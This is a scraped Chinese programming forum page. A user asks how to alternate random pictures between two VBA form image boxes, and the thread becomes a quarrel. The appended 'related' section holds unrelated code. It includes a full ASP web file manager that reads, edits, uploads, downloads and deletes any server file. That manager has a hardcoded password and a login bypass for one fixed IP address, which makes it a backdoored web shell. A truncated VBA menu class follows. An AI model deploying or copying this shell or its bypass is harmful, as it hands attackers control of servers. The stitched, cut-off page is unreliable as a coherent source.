求助,想把随机抽取的图片交替在图片框1和图片框2中显示,每秒交替一次,一定时间后终止,退出程序,

roserice 2021-05-18 01:42:08
Private Sub UserForm_Initialize()
If Cells(1, 1) <> 0 Then Cells(1, 1) = 0
UserForm1.Image2.Enabled = False
UserForm1.Image2.Visible = False
Call aa
End Sub

Private Sub CommandButton1_Click()
Application.OnTime Now + TimeValue("00:00:01"), "aa", schedule:=False
End Sub

Sub aa()
Application.OnTime Now + TimeValue("00:00:01"), "aa", schedule:=True
Cells(1, 1) = Cells(1, 1) + 1
If Cells(1, 1) > 5 Then UserForm1.Image1.Visible = False
If Cells(1, 1) > 5 Then UserForm1.Image2.Visible = True
If Cells(1, 1) > 10 Then Application.OnTime Now + TimeValue("00:00:01"), "aa", schedule:=False
With UserForm1.Image2
.Picture = LoadPicture("d:\" & Int(11 * Rnd + 1) & ".jpg")
.Move 120, 10, 100, 100
.PictureSizeMode = fmPictureSizeModeStretch
End With
With UserForm1.Image1
.Picture = LoadPicture("d:\" & Int(11 * Rnd + 1) & ".jpg")
.Move 10, 10, 100, 100
.PictureSizeMode = fmPictureSizeModeStretch
End With

End Sub
...全文
13227 8 打赏 收藏 举报
写回复
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
roserice 2021-06-29

怎么没有人回答呢

  • 打赏
  • 举报
回复
roserice 2021-05-27
引用 5 楼 脆皮大雪糕的回复:
[quote=引用 4 楼 roserice 的回复:]说来说去是你没这能力,是我舍不得码字?我码一万多字,那是浪费别人时间,这个道理我知道你不懂,所以给你讲讲,作人做事的道理,别找借口,有能力的话就解决问题,不能解决的话就靠边远离,
得,我没能力伺候,您码字浪费您的时间,别人猜测你的想法时间不值钱。 祝你尽快解决问题。[/quote] 是骡子是马拉出来溜溜,光说不练是假把式,
  • 打赏
  • 举报
回复
脆皮大雪糕 2021-05-25
引用 4 楼 roserice 的回复:
说来说去是你没这能力,是我舍不得码字?我码一万多字,那是浪费别人时间,这个道理我知道你不懂,所以给你讲讲,作人做事的道理,别找借口,有能力的话就解决问题,不能解决的话就靠边远离,
得,我没能力伺候,您码字浪费您的时间,别人猜测你的想法时间不值钱。 祝你尽快解决问题。
  • 打赏
  • 举报
回复
浪客 2021-05-25
吃瓜,接分。
  • 打赏
  • 举报
回复
roserice 2021-05-21
说来说去是你没这能力,是我舍不得码字?我码一万多字,那是浪费别人时间,这个道理我知道你不懂,所以给你讲讲,作人做事的道理,别找借口,有能力的话就解决问题,不能解决的话就靠边远离,
  • 打赏
  • 举报
回复
脆皮大雪糕 2021-05-20
引用 2 楼 roserice 的回复:
[quote=引用 1 楼 脆皮大雪糕的回复:]标题你想做一件事情,内容是你做这件事情的代码。 属于炫耀帖吧,CSDN的传统,这种帖子楼主要散分的。
我炫耀,我一共100多分,散什么分,炫耀什么,上代码为了答题的人看着方便,你可以不回答,不要胡说八道,你没有回答问题的能力可以回避[/quote] 是说你写了半天,都没人知道你问了什么!!! 你期望的是啥,代码执行起来情况是啥,什么地方不符合你的期望,啥现象。一句话做标题加一段代码,你舍不得码字,于是问题放了那么多天也没人回答不是么? 我有没有能力回答问题另说,你连问问题的能力都不足。
  • 打赏
  • 举报
回复
脆皮大雪糕 2021-05-19
标题你想做一件事情,内容是你做这件事情的代码。 属于炫耀帖吧,CSDN的传统,这种帖子楼主要散分的。
  • 打赏
  • 举报
回复
roserice 2021-05-19
引用 1 楼 脆皮大雪糕的回复:
标题你想做一件事情,内容是你做这件事情的代码。 属于炫耀帖吧,CSDN的传统,这种帖子楼主要散分的。
我炫耀,我一共100多分,散什么分,炫耀什么,上代码为了答题的人看着方便,你可以不回答,不要胡说八道,你没有回答问题的能力可以回避
  • 打赏
  • 举报
回复
相关推荐
<% '========================== 版权声明 ========================= '本程序只供需要特别处理服务器文件时使用,严禁用于非法目的 '由于非正当使用本程序而造成的一切果及责任自负 '版本: v0.12 '作者: 河北科技大学 rssn | Risingsun,Hebust 'QQ: 126027268 'E-mail: rssn@163.com 'Date: 2006-8-12 '============================================================= Server.ScriptTimeout=20 Session.Timeout=45 'Session有效时间 Const mss="explorer_" 'Session前缀 Const Password="knowsky" '登录密码 Const Copyright="
©CopyLeft 2006. Coded By rssn, Hebust. No Rights Reserved
" '版权信息 Dim T1,T2,Runtime T1=Timer() Dim oFso Set oFso=Server.CreateObject("Scripting.FileSystemObject") '------------------------------------------------------------- '声明函数所需的全局变量 Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|" '------------------------------------------------------------- Call Main() Set oFso=Nothing '======================== Subs Begin ========================= Sub Main() Select Case Request("page") Case "img" Call Page_Img() Case "css" Call Page_Css() Case "loginchk" Call LoginChk() Case "logout" Call Logout() Case Else: '"一夫当关,万夫莫开"——用户验证 If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then '已登录 Else Call Login() Exit Sub End If Select Case Request("act") Case "drive" Call Drive() Case "up" Call DirUp() Case "new" Call NewF(Request("fname")) Case "savenew" Call SaveNew(Request("fname")) Case "rename" Call Rename() Case "saverename" Call SaveRename() Case "edit" Call Edit(Request("fname")) Case "saveedit" Call SaveEdit(Request("fname")) Case "delete" Call Deletes(Request("fname")) Case "copy" Call SetFile(Request("fname"),0) Case "cut" Call SetFile(Request("fname"),1) Case "download" Call Download(Request("fname")) Case "upload" Call Upload(Request("fname")) Case "saveupload" Call Saveupload(Request("fname")) Case "parse" Call Parse(Request("fname")) Case "prop" Call Prop(Request("fname")) Case "saveprop" Call SaveProp(Request("fname")) Case "pack" Call Page_Pack() Case "savepack" Call Pack(Request("fpath"),Request("dbpath")) Case "saveunpack" Call UnPack(Request("fpath"),Request("dbpath")) Case Else If Request("fname")="" Then Call Dirlist(Server.MapPath("./")) Else Call Dirlist(Request("fname")) End If End Select End Select End Sub '========== Subs ============= '显示系统磁盘信息 Sub Drive() Dim oDrive,Islight %> FSO文件浏览器 - 系统磁盘信息
FSO文件浏览器 - 系统磁盘信息
<% On Error Resume Next Islight=False For Each oDrive In oFso.Drives Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not(Islight) Next %>
盘符类型卷标文件系统总容量可用空间
"&oDrive.DriveLetter&""&getDriveType(oDrive.DriveType)&""&oDrive.VolumeName&""&oDrive.FileSystem&""&SizeCount(oDrive.TotalSize)&""&SizeCount(oDrive.FreeSpace)&"
<% =Copyright %> <% End Sub '新建 Sub NewF(ByVal Fname) %> FSO文件浏览器 - 新建
2>FSO文件浏览器 - 新建
类型:文件夹 文件
名称:
2> 
<% End Sub '保存新建 Sub SaveNew(ByVal Fname) If Not IsFolder(Fname) Then Response.Write "" Exit Sub End If Dim FilePath FilePath=Request("fname")&"\"&Replace(Request.Form("nname"),"\","") FilePath=Replace(FilePath,"\\","\") If IsFolder(FilePath) Or IsFile(FilePath) Then Response.Write "" Exit Sub End If If Request.Form("ntype")=1 Then oFso.CreateTextFile FilePath Else oFso.CreateFolder FilePath End If Response.Write "" End Sub '编辑文件 Sub Edit(ByVal Fname) If Not IsFile(Fname) Then Response.Write "" Exit Sub End If Dim oFile,FileStr Set oFile=oFso.OpenTextFile(Fname,1) If oFile.AtEndOfStream Then FileStr="" Else FileStr=oFile.ReadAll() End If oFile.Close Set oFile=Nothing %> FSO文件浏览器 - 编辑文本文件
FSO文件浏览器 - 编辑文本文件
文件名: <% =Fname %>
<% End Sub '保存编辑文件 Sub SaveEdit(ByVal Fname) Dim oFile,FileStr Set oFile=oFso.OpenTextFile(Fname,2,True) FileStr=Request.Form("filestr") 'Response.Write FileStr oFile.Write FileStr oFile.Close Set oFile=Nothing EchoBack "保存编辑文件成功!" End Sub '复制或剪切文件 Sub SetFile(ByVal Fname,ByVal iMode) Session(mss & "setfile")=Fname Session(mss & "setmode")=iMode Dim ww If 0=iMode Then ww="复制" Else ww="剪切" End If EchoClose ww&"成功,请粘贴!" End Sub '粘贴文件或文件夹 Sub Parse(ByVal Fname) Dim oFile,oFolder Dim sName,iMode sName=Session(mss & "setfile") iMode=Session(mss & "setmode") If sName="" Then EchoClose "请先复制或剪切!" Else If InStr(LCase(Fname), LCase(sName)) > 0 Then EchoClose "目标文件夹源文件夹内,非法操作!" Exit Sub End If '================ If Not IsFolder(Fname) Then EchoClose "目标文件夹不存!" ElseIf IsFile(sName) Then Set oFile=oFso.GetFile(sName) If iMode=0 Then oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") Else oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\") End If ElseIf IsFolder(sName) Then Set oFolder=oFso.GetFolder(sName) If iMode=0 Then oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") Else oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\") End If Else EchoClose "源文件或文件夹不存!" Exit Sub End If '================ EchoClose "复制或移动成功!刷新可查看效果" End If Session(mss & "setfile")="" Session(mss & "setmode")=0 End Sub '下载文件 Sub Download(ByVal Fname) Dim oFile If Not IsFile(Fname) Then EchoClose "不是文件或文件不存!" Exit Sub End If Set oFile=oFso.GetFile(Fname) If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then Dim FileVName FileVName=Replace(oFile.Path,Server.MapPath("/"),"") FileVName=Replace(FileVName,"\","/") If Left(FileVName,1)<>"/" Then FileVName="/"&FileVName End If Response.Redirect FileVName Exit Sub End If If oFile.Size>1048576*100 Then EchoClose "文件超过100M,可能会造成服务器死机,\n不允许以Stream方式下载!\n请将该文件复制到网站目录以下\n然以HTTP方式下载" Exit Sub End If Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载 Dim oStream Set oStream=Server.CreateObject("ADODB.Stream") oStream.Open oStream.Type=1 oStream.LoadFromFile(Fname) Dim Data Data=oStream.Read oStream.Close Set oStream=Nothing If Not Response.IsClientConnected Then Set Data=Nothing Exit Sub End If Response.Buffer=True Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name Response.AddHeader "Content-Length", oFile.Size Response.CharSet = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite Data Response.Flush End Sub '删除文件 Sub Deletes(ByVal Fname) If IsFile(Fname) Then oFso.DeleteFile Fname,True ElseIf IsFolder(Fname) Then oFso.DeleteFolder Fname,True Else EchoClose "文件或文件夹不存" Exit Sub End If EchoClose "文件删除成功!" End Sub '上传文件 Sub Upload(ByVal Fname) If Not IsFolder(Fname) Then EchoClose "没有指定上传的文件夹!" Exit Sub End If %> FSO文件浏览器 - 文件上传
FSO文件浏览器 - 文件上传
上传文件:
保存为: 覆盖模式
2 align=center>  
<% End Sub '保存上传文件 Sub Saveupload(ByVal FolderName) If Not IsFolder(FolderName) Then EchoClose "没有指定上传的文件夹!" Exit Sub End If Dim Path,IsOverWrite Path=FolderName If Right(Path,1)<>"\" Then Path=Path&"\" FileName=Replace(Request("filename"),"\","") If Len(FileName)<1 Then EchoBack "请选择文件并输入文件名!" Exit Sub End If Path=Path&FileName If LCase(Request("overwrite"))="true" Then IsOverWrite=True Else IsOverWrite=False End If On Error Resume Next Call MyUpload(Path,IsOverWrite) If Err Then EchoBack "文件上传失败!(可能是文件已存)" Else EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\") End If End Sub '文件上传核心代码 Sub MyUpload(FilePath,IsOverWrite) Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf RequestSize=Request.TotalBytes If RequestSize<1 Then Exit Sub Set oStream=Server.CreateObject("ADODB.Stream") Set tStream=Server.CreateObject("ADODB.Stream") With oStream .Type=1 .Mode=3 .Open .Write=Request.BinaryRead(RequestSize) .Position=0 sData=.Read bCrLf=ChrB(13)&ChrB(10) iSpaceEnd=InStrB(sData,bCrLf)-1 sSpace=LeftB(sData,iSpaceEnd) iInfoStart=iSpaceEnd+3 iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1 iFileStart=iInfoEnd+5 iFileEnd=InStrB(iFileStart,sData,sSpace)-3 sData="" '清空文件数据 iFileSize=iFileEnd-iFileStart+1 tStream.Type=1 tStream.Mode=3 tStream.Open .Position=iFileStart-1 .CopyTo tStream,iFileSize If IsOverWrite Then tStream.SaveToFile FilePath,2 Else tStream.SaveToFile FilePath End If tStream.Close .Close End With Set tStream=Nothing Set oStream=Nothing End Sub '显示文件属性 Sub Prop(Fname) On Error Resume Next Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存!" Exit Sub End If Set oAttrib=New FileAttrib_Cls oAttrib.Attrib=obj.Attributes %> FSO文件浏览器 - 文件属性
FSO文件浏览器 - 文件属性
路径:<% =obj.Path %>
大小:<% =SizeCount(obj.Size) %>
属性: >普通 >只读 >隐藏 >系统
>目录 >存档 >链接 >压缩
创建时间<% =obj.DateCreated %>
创建时间<% =obj.DateLastModified %>
访问<% =obj.DateLastAccessed %>
2 align=center> 
<% End Sub '修改属性 Sub SaveProp(Fname) Dim Attribs,Attrib Attribs=Replace(Request.Form("att")," ","") Attribs=Split(Attribs,",") Attrib=0 Dim i For i=0 To UBound(Attribs) Attrib=Attrib+Attribs(i) Next 'Response.Write Attrib 'Exit Sub Dim obj,oAttrib If IsFile(Fname) Then Set obj=oFso.GetFile(Fname) ElseIf IsFolder(Fname) Then Set obj=oFso.GetFolder(Fname) Else EchoClose "文件或文件夹不存!" Exit Sub End If If obj.IsRootFolder Then EchoClose "不能修改根目录属性!" Exit Sub End If obj.Attributes=Attrib EchoBack "修改文件属性成功!" End Sub '转到上一级文件夹 Sub DirUp() Dim oFolder,ssFname If IsFolder(Request("fname")) Then Set oFolder=oFso.GetFolder(Request("fname")) If oFolder.IsRootFolder Then '转至显示驱动器页面 Call Drive() Exit Sub Else ssFname=oFolder.ParentFolder.Path Set oFolder=Nothing Call DirList(ssFname) End If Else If IsFile(Request("fname")) Then '文件下载 Else Response.Write "文件夹或文件不存!" End If End If End Sub '更改文件名页面 Sub Rename() Dim Fname,sName Fname=Request("fname") If IsFolder(Fname) Then sName=oFso.GetFolder(Fname).Name Else If IsFile(Fname) Then sName=oFso.GetFile(Fname).Name Else Response.Write "文件或文件夹不存!" Exit Sub End If End If %> FSO文件浏览器 - 重命名
2>FSO文件浏览器 - 文件更名
更名为:
2> 
<% End Sub '更改文件名操作 Sub SaveRename() Dim Fname,oFolder,oFile,FDir,ToName Fname=Request("fname") ToName=Replace(Request("toname"),"\","") If IsFolder(Fname) Then Set oFolder=oFso.GetFolder(Fname) Fname=oFolder.Path If Right(Fname,1)="\" Then Fname=Left(Fname,Len(Fname)-1) End If FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFolder Fname,ToName If Err Then EchoBack "文件名不合法!" Else EchoClose "文件夹更名成功!\n刷新之即可看到效果" End If Exit Sub End If If IsFile(Fname) Then Set oFile=oFso.GetFile(Fname) Fname=oFile.Path FDir=Left(Fname,InstrRev(Fname,"\")) ToName=FDir & ToName On Error Resume Next Err.Clear Err=False oFso.MoveFile Fname,ToName If Err Then EchoBack "文件名不合法!" Else EchoClose "文件更名成功!\n刷新之即可看到效果" End If Exit Sub End If End Sub '文件打包/解包页面 Sub Page_Pack() Dim vp,vu vp=Request("pname") vu=Request("uname") If Right(vu,4)<>".mdb" Then vu=Server.MapPath("/rs_pack.mdb") End If %> FSO文件浏览器 - 文件打包/解包
2>FSO文件浏览器 - 文件打包/解包
打包文件夹:
打包到:">
2>
文件包路径:
解包到: ">
2>
<% End Sub '文件夹内容列表 ========== Dirlist Sub Dirlist(ByVal Fpath) If IsFile(Fpath) Then '下载该文件 Response.Write "" 'Call Download(Fpath) Exit Sub End If If Not IsFolder(Fpath) Then Response.Write "文件夹不存!" Exit Sub End If '代码开始 Dim oFolder Dim sFolder,sFile '文件夹下的子文件夹文件 Set oFolder=oFso.GetFolder(Fpath) %> FSO文件浏览器
FSO文件浏览器
                         
          
<% Dim Islight Islight=False '逐个显示子文件夹 For Each sFolder In oFolder.SubFolders Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next '逐个显示文件 For Each sFile In oFolder.Files Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write ""&vbCrLf Islight=Not Islight Next %>
文件名类型大小修改时间
" Response.Write "0 "&Web&sFolder.Name Response.Write "文件夹 "&sFolder.DateLastModified&"
" Response.Write " "&sFile.Name Response.Write ""&sFile.Type&""&SizeCount(sFile.Size)&""&sFile.DateLastModified&"

<% =Copyright %>
<% T2=Timer() Runtime=(T2-T1)*1000 Response.Write "Page Processed in "&Runtime&" Mili-seconds" %>
<% End Sub '用户登录 Sub Login() %> FSO文件浏览器 - 用户登录
FSO文件浏览器 - 用户登录
请输入登录密码:  
<% =Copyright %> <% End Sub '用户登录验证 Sub LoginChk() If Request.Form("password")<>Password Then EchoBack "一夫当关,万夫莫开,您的密码不正确!" Exit Sub Else Session(mss & "IsAdminlogin")=True Response.Redirect "?page=fso" End If End Sub '用户退出 Sub Logout() Session(mss & "IsAdminlogin")=False Response.Redirect "?" End Sub '显示一个图片 Sub Page_Img() Dim HexStr HexStr="47 49 46 38 39 61 01 00 19 00 C4 00 00 6D 92 DA 66 8C D9 7E 9E DF 7B 9C DE 81 A0 DF 79 9A DD 62 89 D8 97 B1 E5 71 94 DB 84 A3 E0 58 81 D5 91 AC E3 5A 84 D6 69 8E DA 65 8B D8 8A A7 E2 76 98 DD 5E 86 D7 61 88 D7 74 97 DC 5D 86 D6 5C 85 D6 6E 92 DB 55 80 D5 6A 8F DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04 00 00 00 00 00 2C 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3D 51 60 15 C9 72 29 0C 25 39 0D 80 40 03 11 02 00 3B" Response.ContentType="IMAGE/GIF" WriteBytes HexStr End Sub '输出Css Sub Page_Css() %> body { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; } input,select,textarea { font-family: Verdana, Arial, "宋体"; font-size: 12px; color: #000000; } a:link { font-size: 12px; color: #000000; text-decoration: none; } a:visited { font-size: 12px; color: #000000; text-decoration: none; } a:active { font-size: 12px; line-height: normal; color: #333333; text-decoration: none; } a:hover { font-size: 12px; color: #FF7F24; text-decoration: underline; } hr { height:1px; color:#6595D6; } table { BORDER-COLLAPSE: collapse; } table.border { border: 1px solid #6595D6; } td { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; } td.border { border: 1px solid #6595D6; } td.inner { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #000000; border: 0px; } th { font-family: Verdana, Arial, "宋体"; font-size: 12px; line-height: 1.5em; color: #FFFFFF; height:25px; background-color:#427FBB; background-image:url(?page=img); } th.border { border: 1px solid #6595D6; } .b { width:55px; height:22px; font-size:12px; } <% End Sub '================ Functions ================== Function IsFolder(ByVal fname) IsFolder=oFso.FolderExists(fname) End Function Function IsFile(ByVal fname) IsFile=oFso.FileExists(fname) End Function '字节数统计 Bytes Function SizeCount(ByVal iSize) On Error Resume Next Dim size,showsize size=iSize showsize=size & " Byte" if size>1024 then size=(Size/1024) showsize=formatnumber(size,3) & " KB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,3) & " MB" end if if size>1024 then size=(size/1024) showsize=formatnumber(size,3) & " GB" end if SizeCount = showsize End Function '16进制字符转10进制数字 Function Hex2Num(v) Dim w If IsNumeric(v) Then w=Int(v) Else Select Case UCase(v) Case "A": w=10 Case "B": w=11 Case "C": w=12 Case "D": w=13 Case "E": w=14 Case "F": w=15 Case Else: w=0 End Select End If Hex2Num=w End Function '取得字节字符串的数值 Function Byte2Num(sByte) Dim b1,b2 b1=Left(sByte,1) b2=Right(sByte,1) Byte2Num=Hex2Num(b1)*16+Hex2Num(b2) End Function '将16进制字节字符串输出为二进制数据 Function WriteBytes(sBytes) Dim sByte,i sByte=Split(sBytes," ") For i=0 To UBound(sByte)-1 Response.BinaryWrite ChrB(Byte2Num(sByte(i))) Next End Function '获得文件图标 Function getFileIcon(extName) Select Case LCase(extName) Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa" getFileIcon = "Wingdings>2" Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg" getFileIcon = "Webdings>·" Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif" getFileIcon = "'webdings'>&#159;" Case "exe", "com", "bat", "cmd", "scr", "msi" getFileIcon = "Webdings>1" Case "sys", "dll", "ocx" getFileIcon = "Wingdings>&#255;" Case Else getFileIcon = "'Wingdings 2'>/" End Select End Function '获得磁盘类型 Function getDriveType(num) Select Case num Case 0 getDriveType = "未知" Case 1 getDriveType = "可移动磁盘" Case 2 getDriveType = "本地硬盘" Case 3 getDriveType = "网络磁盘" Case 4 getDriveType = "CD-ROM" Case 5 getDriveType = "RAM 磁盘" End Select End Function '判断是否为脚本文件 Function IsScriptFile(Ext) Const ScriptExts="asp,aspx,asa,php" IsScriptFile=False Dim FileExt,Exts FileExt=LCase(Ext) Exts=Split(ScriptExts,",") Dim i For i=0 To UBound(Exts)-1 If Exts(i)=FileExt Then IsScriptFile=True Exit Function End If Next IsScriptFile=False End Function '返回消息并关闭 Sub EchoClose(msg) Response.Write "" End Sub '返回消息并关闭 Sub EchoBack(msg) Response.Write "" End Sub '文件属性类 Class FileAttrib_Cls Public n,r,h,s,d,a,al,c Private Sub Class_Initialize() n=0:r=0:h=0:s=0:d=0:a=0:al=0:c=0 End Sub Public Property Let Attrib(v) If v=0 Then n=1 Exit Property End If If v>=2048 Then c=1 v=v Mod 2048 End If If v>=1024 Then al=1 v=v Mod 64 End If If v>=32 Then a=1 v=v Mod 32 End If If v>=16 Then d=1 v=v Mod 8 End If If v>=4 Then s=1 v=v Mod 4 End If If v>=2 Then h=1 v=v Mod 2 End If If v>=1 Then r=1 End If End Property End Class '============================ 文件打包及解包过程 ============================= '文件打包 Sub Pack(ByVal FPath, ByVal sDbPath) Server.ScriptTimeOut=900 Dim DbPath If Right(sDbPath,4)=".mdb" Then DbPath=sDbPath Else DbPath=sDbPath&".mdb" End If If oFso.FolderExists(DbPath) Then EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\") Exit Sub End If If oFso.FileExists(DbPath) Then oFso.DeleteFile DbPath End If If IsFolder(FPath) Then RootPath=GetParentFolder(FPath) If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\" Else EchoBack "请输入文件夹路径!" Exit Sub End If Dim oCatalog,connStr,DataName Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set oCatalog=Server.CreateObject("ADOX.Catalog") Set rs=Server.CreateObject("ADODB.RecordSet") On Error Resume Next connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath oCatalog.Create connStr If Err Then EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\") Exit Sub End If Set oCatalog=Nothing conn.Open connStr conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)") oStream.Open oStream.Type=1 rs.Open "Files",conn,3,3 DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1) NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName) FailFileList="" '打包失败的文件列表 PackFolder FPath If FailFilelist="" Then EchoClose "文件夹打包成功!" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If oStream.Close rs.Close conn.Close End Sub '添加文件夹(递归) Sub PackFolder(FolderPath) If Not IsFolder(FolderPath) Then Exit Sub Dim oFolder,sFile,sFolder Set oFolder=oFso.GetFolder(FolderPath) For Each sFile In oFolder.Files If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then PackFile sFile.Path End If Next Set sFile=Nothing For Each sFolder In oFolder.SubFolders PackFolder sFolder.Path Next Set sFolder=Nothing End Sub '添加文件 Sub PackFile(FilePath) Dim RelPath RelPath=Replace(FilePath,RootPath,"") 'Response.Write RelPath & "
" On Error Resume Next Err.Clear Err=False oStream.LoadFromFile FilePath rs.AddNew rs("FilePath")=RelPath rs("FileData")=oStream.Read() rs.Update If Err Then '一个文件打包失败 FailFilelist=FailFilelist&FilePath&"|" End If End Sub '=========================================================================== '文件解包 Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 Dim FilePath,FolderPath,sFolderPath FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<>":" Then EchoBack "路径格式错误,无法创建改目录!" Exit Sub End If If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set rs=Server.CreateObject("ADODB.RecordSet") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath On Error Resume Next Err=False conn.Open connStr If Err Then EchoBack "数据库打开错误!" Exit Sub End If Err=False oStream.Open oStream.Type=1 rs.Open "Files",conn,1,1 FailFilelist="" '清空失败文件列表 Do Until rs.EOF Err.Clear Err=False FilePath=FolderPath&"\"&rs("FilePath") FilePath=Replace(FilePath,"\\","\") sFolderPath=Left(FilePath,InStrRev(FilePath,"\")) If Not oFso.FolderExists(sFolderPath) Then CreateFolder(sFolderPath) End If oStream.SetEos() oStream.Write rs("FileData") oStream.SaveToFile FilePath,2 If Err Then '添加失败文件项目 FailFilelist=FailFilelist&rs("FilePath").Value&"|" End If rs.MoveNext Loop rs.Close Set rs=Nothing conn.Close Set conn=Nothing Set oStream=Nothing If FailFilelist="" Then EchoClose "文件解包成功!" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If End Sub '=========================================================================== '=========================================================================== '建立文件夹(递归) Function CreateFolder(FolderPath) On Error Resume Next Err=False Dim sParFolder sParFolder=GetParentFolder(FolderPath) If Not oFso.FolderExists(sParFolder) Then CreateFolder(sParFolder) End If oFso.CreateFolder(FolderPath) If Err Then CreateFolder=False Else CreateFolder=True End If End Function Function GetParentFolder(Path) Dim sPath sPath=Path If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1) sPath=Left(sPath,InstrRev(sPath,"\")-1) GetParentFolder=sPath End Function '============================================================================ Sub wv(v) If v>0 Then Response.Write " checked " End Sub %>
自动生成VBA窗体菜单 '*************************** '* 菜单类 * '*************************** Option Explicit Private WithEvents MenuBar_MenuItem As MSForms.Label '菜单项 Private WithEvents WorkForm As MSForms.UserForm '工作窗口 Private WithEvents MenuBar As MSForms.Image '菜单栏 Private BackMenu_BackGroud As MSForms.Image '菜单背景图片 Private BackMenu_Caption As MSForms.Label '菜单标题标签 Private Const DISTANCE As Integer = 5 '菜单与左边距离 Private Const MENUTOP As Integer = 2 '菜单项顶点Y轴位置 Private Const MENUHEIGHT As Integer = 14 '菜单项高度 Private intIndex As Integer '索引变量 Private sAction As String '宏名称变量 Private Property Let Index(N As Byte) '指定索引属性 intIndex = N End Property Private Property Get Index() As Byte '获得陇望蜀索引属性 Index = intIndex End Property Private Property Let OnAction(sAct As String) '行为属性 sAction = sAct End Property Private Property Get OnAction() As String OnAction = sAction End Property Public Sub AddMenu(wform As MSForms.UserForm, sCaption As String, sAction As String, Optional Acc As String = vbNullString) Dim MenuLeft As Single, MenuWidth As Single '由两个标签一个图形控件组成一个主菜单项 MenuCount = MenuCount + 1 '主菜单项总数加1 Index = MenuCount '设置索引 Set WorkForm = wform With WorkForm Set MenuBar = .FormMenuBar Set BackMenu_Caption = .Controls.Add("forms.label.1") '添加一个标签,显示菜单标题 With BackMenu_Caption .Accelerator = Acc .AutoSize = True .BackStyle = fmBackStyleTransparent .Caption = sCaption .Font = "宋体" .Font.Size = 9 .Name = "BackMenu_Caption" & MenuCount .TextAlign = fmTextAlignCenter .Top = MENUTOP + 3 .WordWrap = False .Visible = True End With If MenuCount = 1 Then MenuLeft = DISTANCE Else With .Controls("BackMenu_Caption" & MenuCount - 1) MenuLeft = .Left + .Width End With End If MenuWidth = BackMenu_Caption.Width + 10 Set BackMenu_BackGroud = .Controls.Add("forms.image.1") '添加一个image,作为背景图片 With BackMenu_BackGroud .Name = "BackMenu_BackGroud" & MenuCount .BorderStyle = fmBorderStyleNone .Move MenuLeft, MENUTOP, MenuWidth, MENUHEIGHT .BackStyle = fmBackStyleTransparent .PictureSizeMode = fmPictureSizeModeStretch BackMenu_Caption.AutoSize = False BackMenu_Caption.Left = .Left BackMenu_Caption.Width = .Width End With BackMenu_Caption.ZOrder '将标签置前 Set MenuBar_MenuItem = .Controls.Add("forms.label.1") '添加一个Label,用于触发事件 With MenuBar_MenuItem .Name = "MenuBar_MenuItem" & MenuCount .BorderStyle = fmBorderStyleNone .BackStyle = fmBackStyleTransparent With BackMenu_BackGroud MenuBar_MenuItem.Move .Left, .Top, .Width, .Height End With End With End With OnAction = sAction End Sub Private Sub MenuBar_MenuItem_MouseDown(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single) If 